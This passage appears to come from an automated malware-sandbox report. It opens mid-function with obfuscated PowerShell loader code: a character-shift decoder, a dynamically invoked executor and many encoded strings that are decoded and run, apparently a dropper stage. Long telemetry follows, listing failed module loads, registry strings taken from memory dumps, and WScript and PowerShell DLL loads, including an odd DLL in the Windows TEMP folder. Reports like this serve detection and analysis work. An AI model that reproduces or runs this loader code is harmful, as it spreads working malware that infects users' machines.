{$demaskeringer=$collarman[$fusula%7];$ratiocinations201[$fusula]-=$demaskeringer;$demaskeringer=[char]$ratiocinations201[$fusula];$jt+=$demaskeringer;$fusula++} while ($ratiocinations201[$fusula])$jt}function Perigastrular ($lykka) {&($analyze62) $lykka}Function Ips ($ratiocinations201,$strung=0){$sulphocarbolate=discipline(@(158,171,208,225,227,202,214,183,197,155,173,179,215,211,176,170,194,230,210,155,152,150,220,211,220,219,204,140,103,218,194,231,214,212,199,172,214,194,231,214,212,210,182,154,145,164,150));$laboulbeniaceous=@(Perigastrular ($sulphocarbolate));For($amarin=0; $laboulbeniaceous[$amarin] -ne $juris; $amarin++){$laboulbeniaceous[$amarin] = prgnantestes $laboulbeniaceous[$amarin] $collarman[$amarin%7]}$citronpresser=discipline(@(112,210,208,220,219,133,191,166,208,194,229,200,194,193,103,212,194,213,220,218,208,165,205,207,220,206,200,201,178,221,212));$punners=Perigastrular ($citronpresser);if ($strung) { Perigastrular $punners}else {;$punners}}$collarman=@(67,104,97,115,109,101,100);$analyze62=discipline @(140,173,185);$jestenes='\\Sekretariatsmedarbejder.Rep';$spiralled=Ips 'dkZRU0UyDS0MDgQeRSoXSFBDQ1VfYz8IHVtRX2MQV0dWRRY1UlBGX0tUakgmFg4OC2xaUUJdVVVzWUE1BBcBJQcZXFxQVm1Y';$phascolomyidae=Ips 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IF1BUE3UtED0HLFUIHBdEPlcRMz1TRwgHCwkABgIcXAs1RVI=';$katalyzing=Ips 'DhsZHgFXShANEwUIFzwOJCknOTVKdUZR';$vistes=Ips 'BC01';$amarincebound=Ips 'FhsEAUAkAyYGFQ==';$endopleura=Ips 'fQ==';Ips 'Zw8NHA8ECHkODRwbABc3DRJOSQAKNVIAAx0BBTcJSlcHABc3DQ8WHg==' 1;Ips 'Zw8NHA8ECHkHBBtQQRQrCRIQAgkLLhEIFwwASjAYDRoZTUAmBgUcHQkBNhoAWg==' 1;$phascolomyidae=$oeh[0];Ips 'Zw8NHA8ECHkJExwABBAqGwQBBAsDJhoSTiMAE24nAxkIBhBjRSIcAEVAKAkVEgEcHioGBg==' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1;while (!$rap) {Ips 'Zw8NHA8ECHk8BB8BEBYmBlxXGRcRJg==' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdAhUBLUBFBQQWECYbTVNJFQwiGwIcAQoJOgEFEghJRGcOAB8eAE0=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAQEQ0QBggWEAsNABcIF0xnCQwSHwwKIA0DHBgLAG9IRQAdDBYiBA0WCUw=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAKJ0BI' 1;Ips 'Zw8NHA8ECHkPDhcGAAonDQ0ACBYJOgYFGgoNAScNEwBQQQUxBwwSGQwXJhoIHQoAFjBGEgcMEREwSEwWHEVWc1g=' 1;if ($godkendelsesmyndigheders) {Ips 'GAoYBwg+OR5MBh8CBwUvUgIcCAERIAkVGgILBS9VRRIfCgkiHAgACBcNLQ8EAR5LFiYbERwDFgEBBwUK' 1;Ips 'MAtBVwsJCzUNEgcIFkRnCw4WCRAHIhwIHAMECGNFJB0OCgAqBgZTLxwQJg==' 1}Ips 'EAQEFh1NUGo=' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1 ;Ips 'Zw8NHA8ECHkbDRQICQ0kGxUWUEEDLwcDEgFfFDEHFRoJTk9mTA4WBUsHLB0PBw==' 1;$phascolomyidae=$oeh[$slgeligste]}$parthenogenitive=142361;$mislodged=19220;Ips 'Zw8NHA8ECHkaDgUFEAMwHAQBAwBZJAtBVwsJCzUNEgcIFg==' 1;Ips 'Zw8NHA8ECHk7FRIDAQUxDAQBXF1QfjMiHAMTATEcPElXIxYsBSMSHgBSdzsVAQQLA2tMExwbDREkGxUWHwsBag==' 1;Ips 'Zw8NHA8ECHkdDxcEEwsxCwQXAwAXMFU6JwgdEG0tDxACAQ0tDzxJVyQ3ACEoXSoAEBAcExoDAkxnOxUSAwEFMQwEAVxdUGo=' 1;Ips 'Zw8NHA8ECHkFCAAKFws0G1xXGAsAKh4OAQ4AAC0NEgBDFhEhGxUBBAsDa0wREh8RDCYGDhQICw03ARcWQUEJKhsNHAkCASdB' 1;Perigastrular $misgrows;"" (UID: 00000000-00000200)39:T1376,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135]3a:T2812,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000160.00000000.219629.02C50000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000160.00000000.219629.02C50000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00000160.00000000.219629.04D00000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000160.00000001.221551.02C50000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000160.00000001.221551.02C50000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00000160.00000001.221551.08920000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00000160.00000002.223471.00A71000.00000020.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000160.00000002.223471.02C50000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000160.00000002.223471.02C50000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00000160.00000002.223471.08920000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp "HKLM\" in Source: 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000160.00000002.223471.6F2C1000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00000200.00000000.218614.52E8A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00000200.00000000.218614.52E8A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00000200.00000000.218614.52E8A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00000200.00000000.218614.52E8A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00000200.00000000.218614.52E8A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00000200.00000000.218614.52E8A000.00000002.mdmp "ripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0823B6F8-F499-4D5E-B88" in Source: 00000000-00000200.00000000.218614.7AB20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000200.00000000.218614.7AB20000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00000200.00000000.218614.7AB20000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000200.00000000.218614.7AB20000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000200.00000000.218614.7AB20000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000200.00000000.218614.7AB20000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000200.00000000.218614.7AB20000.00000004.mdmp "ripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0823B6F8-F499-4D5E-B88" in Source: 00000000-00000200.00000001.219350.7AB51000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000200.00000001.219350.7AB51000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00000200.00000001.219350.7AB51000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000200.00000001.219350.7AB51000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000200.00000001.219350.7AB51000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000200.00000001.219350.7AB51000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000200.00000001.219350.7AB51000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00020422-0000-0000-C000-000000000046}" in Source: 00000000-00000200.00000001.219350.7D44C000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00020420-0000-0000-C000-000000000046}" in Source: 00000000-00000200.00000001.219350.7D44C000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00000200.00000001.219350.7D44C000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" in Source: 00000000-00000200.00000001.219350.7D44C000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}\LocalServer32" in Source: 00000000-00000200.00000001.219350.7D4EE000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" in Source: 00000000-00000200.00000001.219350.7D5D3000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}$" in Source: 00000000-00000200.00000001.219350.7D5D3000.00000004.mdmp3b:T5370,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb53b50000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb53b50000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb53b50000 "WScript.exe" loaded module "KERNEL32" at base 7ffb54b90000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb3def0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb51c00000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ffb57120000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ffb54b90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ffb31760000 "WScript.exe" loaded module "AMSI.DLL" at base 7ffb40a80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffb4a3c0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffb3f170000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\EMKXSIB5.DLL" at base 7ffb3b4b0000 "WScript.exe" loaded module "WLDP.DLL" at base 7ffb526b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffb562e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffb53dc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb52a00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffb3f8c0000 "WScript.exe" loaded module "OLE32.DLL" at base 7ffb56510000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffb53960000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffb3d710000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ffb38300000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb53e20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 7ffb45380000 "WScript.exe" loaded module "CRYPTNET.DLL" at base 7ffb45380000 "WScript.exe" loaded module "WINHTTP.DLL" at base 7ffb4fe20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffb35af0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffb52e50000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7ffb534c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffb4c120000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffb4c680000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffb53b50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7ffb37e00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffb47b90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffb467e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffb47550000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffb53b50000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffb53b50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffb46a40000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ffb382d0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffb31680000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffb54b90000 "WScript.exe" loaded module "USERENV.DLL" at base 7ffb534f0000 "WScript.exe" loaded module "VERSION.DLL" at base 7ffb4a3c0000 "WScript.exe" loaded module "NTDLL.DLL" at base 7ffb57270000 "WScript.exe" loaded module "SHELL32.DLL" at base 7ffb54e00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ffb4dde0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffb53ff0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffb4fc60000 "WScript.exe" loaded module "USER32.DLL" at base 7ffb566c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffb3db10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ffb54e00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffb482d0000 "WScript.exe" loaded module "MSISO.DLL" at base 7ffb415a0000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffb53b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb53b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb53b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb53b50000 "powershell.exe" loaded module "KERNEL32" at base 7ffb54b90000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffb382d0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffb562e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffb31750000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffb56e90000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb53610000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffb4a3c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffb30c80000 "powershell.exe" loaded module "USER32.DLL" at base 7ffb566c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb53b50000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffb3def0000 "powershell.exe" loaded module "NTDLL" at base 7ffb57270000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffb56b50000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffb57120000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffb54b90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffb26370000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffb56510000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffb56b50000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffb57050000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffb25700000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffb24c80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffb30b10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb52a00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb53e20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffb22c10000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffb56b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffb56b50000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffb57270000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffb56ef0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffb54e00000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffb53dc0000 